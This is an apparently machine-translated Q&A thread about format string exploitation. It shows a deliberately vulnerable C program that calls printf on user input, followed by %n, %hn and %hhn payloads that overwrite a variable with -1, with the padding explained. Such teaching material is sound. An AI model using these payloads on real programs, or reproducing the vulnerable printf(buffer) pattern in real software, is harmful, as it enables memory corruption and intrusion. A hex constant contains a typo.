字符串格式利用:设置负值 = "-1" 使用 %n

String format exploit: set negative value = "-1" use %n

我正在尝试使用 Format String exploit 设置变量的值。我能够使用修饰符 %n 通过字符串长度的值来更改变量。

代码

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
    char buffer[100];
    static int a=77;
    strcpy(buffer, argv[1]);
    printf(buffer);
    printf("address a = 0x%08x, [0x%08x]\n", &a, a);
    printf("a = %d\n", a);
return 0;
}

之后

./v4_2.out `printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n

address a = 0x080498c4, [0x00000034]
a = 52

如何将变量集更改为负值,例如 "a = -1"?

P.S。我发现这可以用 %u 来完成。

只需使用 linked article 第一节末尾描述的技巧即可。这包括将值 -1 (0xFFFFFFFFF) 拆分为低字和高字(两次 0xFFFF)并将它们分别写入地址 &a(void*)(&a)+2:

./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7$hn%8$hn"

解释:

\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes)
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes)
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535)
%7$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a
%8$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a

数字 7 来自您之前的命令:

printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n
                            1^  2^  3^  4^  5^  6^7^

我又存储了一个地址,所以它被堆叠在位置 8。

这样输出还是很多,可以更进一步,逐字节写0xFFFFFFFF。它看起来像这样:

\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255)
%7$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above
%8$hhn ... the same for the second
%9$hhn ... the same for the third
%10$hhn ... the same for the last

0xFFFFFFFF 以外的数字需要在每个 %hhn 之间进行一些额外的输出。您需要计算它们之间要输出多少垃圾字节以弥补各自的差异。如果您需要低于先前的值,请使用仅写入一个字节的事实,以便算术以 256 为模。